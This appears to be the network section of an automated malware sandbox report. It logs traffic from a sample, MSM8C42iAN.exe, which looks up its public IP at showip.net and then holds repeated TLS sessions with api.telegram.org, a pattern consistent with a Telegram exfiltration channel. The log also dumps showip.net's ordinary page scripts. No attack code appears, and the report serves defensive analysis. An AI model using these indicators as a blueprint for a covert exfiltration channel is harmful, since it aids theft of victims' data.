Nov 25, 2024 13:56:59.647849083 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.647867918 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.647878885 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.647937059 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.647958040 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.648003101 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.656126022 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.656208038 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.656425953 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.656559944 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.656605005 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.656626940 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.656635046 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.656651020 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.656667948 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.703342915 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.777144909 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.778599024 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.778636932 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.780879974 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.817939997 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.818028927 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.818150997 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.818255901 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.818311930 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.818341017 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.818347931 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.818527937 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.818587065 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.863329887 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.897876024 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.898020029 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.898056984 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.898188114 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.899435043 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.899574995 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.899633884 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.899662971 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.900465012 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.900480986 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:56:59.900656939 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.900789022 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.900990009 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.901120901 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.901608944 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.901621103 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.901653051 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.901664019 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.901680946 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.901721001 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.901906967 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:56:59.947345018 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.017221928 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.017370939 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.017385006 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.017512083 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.019800901 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.019810915 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.019886971 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.020102978 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.020179987 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.020217896 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.020247936 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.020262957 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.020378113 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.020399094 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.020422935 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.020487070 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.020530939 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.020572901 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.020625114 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.020644903 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.020987034 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.021023989 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.021172047 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.021218061 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.021248102 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.021365881 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.021548986 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.021701097 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.021986008 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.022025108 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.022409916 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.022435904 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.022449017 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.022460938 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.022500992 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.022561073 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.022578001 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.022631884 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.022680044 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.058315039 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.058394909 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.058507919 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.058532000 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.058741093 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.058788061 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.058820963 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.058871984 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.058881998 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.058895111 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.103332043 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.136076927 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.136243105 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.136456013 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.136522055 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.136559963 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.136579990 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.137880087 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.137976885 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.138041019 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.138062000 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.138267040 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.138323069 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.138421059 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.138437986 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.138616085 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.138662100 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.138703108 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.138746023 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.138839006 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.139204979 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.139215946 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.139338017 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.139338017 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.139358997 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.139368057 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.139461994 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.139496088 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.141050100 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.141112089 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.141248941 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.141284943 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.141299963 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.142823935 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.142954111 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.142983913 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.143002033 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.143009901 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.143022060 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.143150091 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.143192053 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.143213034 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.143223047 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.143902063 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.143963099 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.144097090 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.144134045 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.144143105 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.144248009 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.144279957 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.144995928 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.145008087 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.145122051 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.145261049 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.145375967 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.145454884 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.146145105 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.146153927 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.146301031 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.146327019 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.146332026 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.146358967 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.146677017 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.146738052 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.146786928 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.146836996 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.146847010 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.146868944 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.178286076 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.178328037 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.178493977 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.178589106 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.178633928 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.178832054 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.178869963 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.178899050 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.178917885 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.178977966 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.178977966 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.179027081 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.203742027 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.203906059 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.203999996 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.204240084 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.204335928 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.204365015 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.204472065 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.204550982 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.204593897 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.204622030 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.204663992 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.204714060 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.251337051 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.253570080 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.253680944 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.253715038 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.253834009 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.257729053 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.257807970 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.257910013 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.257937908 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.258920908 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.259049892 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.259078026 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.259087086 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.259087086 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:00.260734081 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.262943029 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:00.267293930 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:02.412699938 CET	49727	80	192.168.2.9	162.55.60.2
Nov 25, 2024 13:57:02.533447981 CET	80	49727	162.55.60.2	192.168.2.9
Nov 25, 2024 13:57:02.533559084 CET	49727	80	192.168.2.9	162.55.60.2
Nov 25, 2024 13:57:07.504863024 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:07.505002975 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:07.505029917 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:07.505084991 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:07.505616903 CET	49970	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:07.505635023 CET	443	49970	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:07.616625071 CET	49988	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:07.616664886 CET	443	49988	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:07.616777897 CET	49988	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:07.617152929 CET	49988	443	192.168.2.9	149.154.167.220
Nov 25, 2024 13:57:07.617163897 CET	443	49988	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:09.011766911 CET	443	49988	149.154.167.220	192.168.2.9
Nov 25, 2024 13:57:09.011831045 CET	49988	443	192.168.2.9	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 25, 2024 13:55:12.453006983 CET	61989	53	192.168.2.9	1.1.1.1
Nov 25, 2024 13:55:12.777224064 CET	53	61989	1.1.1.1	192.168.2.9
Nov 25, 2024 13:55:49.066019058 CET	61726	53	192.168.2.9	1.1.1.1
Nov 25, 2024 13:55:49.206028938 CET	53	61726	1.1.1.1	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 25, 2024 13:55:12.453006983 CET	192.168.2.9	1.1.1.1	0xfa13	Standard query (0)	showip.net	A (IP address)	IN (0x0001)	false
Nov 25, 2024 13:55:49.066019058 CET	192.168.2.9	1.1.1.1	0xdf15	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 25, 2024 13:55:01.201598883 CET	1.1.1.1	192.168.2.9	0x1083	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 25, 2024 13:55:01.201598883 CET	1.1.1.1	192.168.2.9	0x1083	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Nov 25, 2024 13:55:12.777224064 CET	1.1.1.1	192.168.2.9	0xfa13	No error (0)	showip.net		162.55.60.2	A (IP address)	IN (0x0001)	false
Nov 25, 2024 13:55:49.206028938 CET	1.1.1.1	192.168.2.9	0xdf15	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.telegram.org

showip.net

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49727	162.55.60.2	80	2220	C:\Users\user\Desktop\MSM8C42iAN.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 13:55:12.903752089 CET	58	OUT	GET / HTTP/1.1 User-Agent: Project1 Host: showip.net
Nov 25, 2024 13:55:14.377909899 CET	1236	IN	HTTP/1.1 200 OK Access-Control-Allow-Headers: * Access-Control-Allow-Methods: * Access-Control-Allow-Origin: * Content-Type: text/html;charset=utf-8 Date: Mon, 25 Nov 2024 12:55:14 GMT Server: Caddy Transfer-Encoding: chunked Data Raw: 34 36 66 38 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 0a 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 0a 20 20 20 20 3c 73 63 72 69 70 74 20 61 73 79 6e 63 20 73 72 63 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 74 61 67 6d 61 6e 61 67 65 72 2e 63 6f 6d 2f 67 74 61 67 2f 6a 73 3f 69 64 3d 47 2d 4c 36 4e 4b 54 35 47 36 44 37 22 3e 3c 2f 73 63 72 69 70 74 3e 0a 20 20 20 20 3c 73 63 72 69 70 74 3e 0a 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 3d 20 77 69 6e 64 6f 77 2e 64 61 74 61 4c 61 79 65 72 20 7c 7c 20 5b 5d 3b 0a 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 67 74 61 67 28 29 7b 64 61 74 61 4c 61 79 65 72 2e 70 75 73 68 28 61 72 67 75 6d 65 6e 74 73 29 3b 7d 0a 20 20 20 20 20 20 67 74 61 67 28 27 6a 73 27 2c 20 6e 65 77 20 44 61 74 65 28 29 29 3b 0a 0a 20 20 20 20 20 20 67 74 61 67 28 27 63 6f 6e 66 69 67 27 2c 20 27 47 2d 4c 36 4e 4b 54 35 47 36 44 37 27 29 3b 0a 20 20 20 20 3c 2f 73 63 72 69 70 74 3e [TRUNCATED] Data Ascii: 46f8<!DOCTYPE html><html lang="en"> <head> <script async src="https://www.googletagmanager.com/gtag/js?id=G-L6NKT5G6D7"></script> <script> window.dataLayer = window.dataLayer \|\| []; function gtag(){dataLayer.push(arguments);} gtag('js', new Date()); gtag('config', 'G-L6NKT5G6D7'); </script> <script async src="https://fundingchoicesmessages.google.com/i/pub-8790158038613050?ers=1" nonce="a8sPTFY01S1bvA7Euc8gkg"></script><script nonce="a8sPTFY01S1bvA7Euc8gkg">(function() {function signalGooglefcPresent() {if (!window.frames['googlefcPresent']) {if (document.body) {const iframe = document.createElement('iframe'); iframe.style = 'width: 0; height: 0; border: none; z-index: -1000; left: -1000px; top: -1000px;'; iframe.style.display = 'none'; iframe.name = 'googlefcPresent'; document.body.appendChild(iframe);} else {setTimeout(signalGooglefcPresent, 0);}}}signalGooglefcPresent();})();</script> <script> (function(){'use strict';fun
Nov 25, 2024 13:55:14.377975941 CET	1236	IN	Data Raw: 63 74 69 6f 6e 20 61 61 28 61 29 7b 76 61 72 20 62 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 3c 61 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 61 5b 62 2b 2b 5d 7d 3a 7b 64 6f Data Ascii: ction aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var ba="function"==typeof Object.defineProperties?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype)return a;a[b]=c.value;
Nov 25, 2024 13:55:14.377993107 CET	1236	IN	Data Raw: 76 61 72 20 63 20 69 6e 20 62 29 69 66 28 22 70 72 6f 74 6f 74 79 70 65 22 21 3d 63 29 69 66 28 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 29 7b 76 61 72 20 64 3d 4f 62 6a 65 63 74 2e 67 65 74 4f 77 6e 50 72 6f 70 65 72 Data Ascii: var c in b)if("prototype"!=c)if(Object.defineProperties){var d=Object.getOwnPropertyDescriptor(b,c);d&&Object.defineProperty(a,c,d)}else a[c]=b[c];a.A=b.prototype}function ma(){for(var a=Number(this),b=[],c=a;c<arguments.length;c++)b[c-a]=argu
Nov 25, 2024 13:55:14.378045082 CET	1236	IN	Data Raw: 67 65 22 29 29 7c 7c 28 43 28 29 3f 41 28 22 4d 69 63 72 6f 73 6f 66 74 20 45 64 67 65 22 29 3a 42 28 22 45 64 67 2f 22 29 29 7c 7c 43 28 29 26 26 41 28 22 4f 70 65 72 61 22 29 29 3b 76 61 72 20 73 61 3d 7b 7d 2c 45 3d 6e 75 6c 6c 3b 76 61 72 20 Data Ascii: ge"))\|\|(C()?A("Microsoft Edge"):B("Edg/"))\|\|C()&&A("Opera"));var sa={},E=null;var ta="undefined"!==typeof Uint8Array,ua=!ra&&"function"===typeof btoa;var F="function"===typeof Symbol&&"symbol"===typeof Symbol()?Symbol():void 0,G=F?function(a,b
Nov 25, 2024 13:55:14.378060102 CET	1236	IN	Data Raw: 61 79 28 61 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 29 3b 64 3d 48 28 61 29 3b 69 66 28 64 26 36 34 29 72 65 74 75 72 6e 20 61 3b 64 7c 3d 36 34 3b 69 66 28 63 26 26 28 64 7c 3d 35 31 32 2c 63 21 3d 3d 61 5b 30 5d 29 29 74 68 72 6f 77 20 45 72 Data Ascii: ay(a))throw Error();d=H(a);if(d&64)return a;d\|=64;if(c&&(d\|=512,c!==a[0]))throw Error();a:{c=a;var e=c.length;if(e){var f=e-1,g=c[f];if(N(g)){d\|=256;b=(d>>9&1)-1;e=f-b;1024<=e&&(za(c,b,g),e=1023);d=d&-2095105\|(e&1023)<<11;break a}}b&&(g=(d>>9&
Nov 25, 2024 13:55:14.378076077 CET	1236	IN	Data Raw: 3d 62 5b 28 77 26 31 35 29 3c 3c 32 7c 68 3e 3e 36 5d 3b 68 3d 62 5b 68 26 36 33 5d 3b 63 5b 65 2b 2b 5d 3d 67 2b 6b 2b 77 2b 68 7d 67 3d 30 3b 68 3d 64 3b 73 77 69 74 63 68 28 61 2e 6c 65 6e 67 74 68 2d 66 29 7b 63 61 73 65 20 32 3a 67 3d 61 5b Data Ascii: =b[(w&15)<<2\|h>>6];h=b[h&63];c[e++]=g+k+w+h}g=0;h=d;switch(a.length-f){case 2:g=a[f+1],h=b[(g&15)<<2]\|\|d;case 1:a=a[f],c[e]=b[a>>2]+b[(a&3)<<4\|g>>4]+h+d}a=c.join("")}return a}}return a};function Ba(a,b,c){a=Array.prototype.slice.call(a);var d=
Nov 25, 2024 13:55:14.378089905 CET	776	IN	Data Raw: 75 72 6e 20 61 7d 7d 66 75 6e 63 74 69 6f 6e 20 48 61 28 61 2c 62 2c 63 29 7b 76 61 72 20 64 3d 63 7c 7c 62 26 32 3f 4b 3a 78 61 2c 65 3d 21 21 28 62 26 33 32 29 3b 61 3d 42 61 28 61 2c 62 2c 66 75 6e 63 74 69 6f 6e 28 66 29 7b 72 65 74 75 72 6e Data Ascii: urn a}}function Ha(a,b,c){var d=c\|\|b&2?K:xa,e=!!(b&32);a=Ba(a,b,function(f){return Ga(f,e,d)});G(a,32\|(c?2:0));return a};function Ia(a,b){a=a.h;return Ja(a,J(a),b)}function Ja(a,b,c,d){if(-1===c)return null;if(c>=L(b)){if(b&256)return a[a.leng
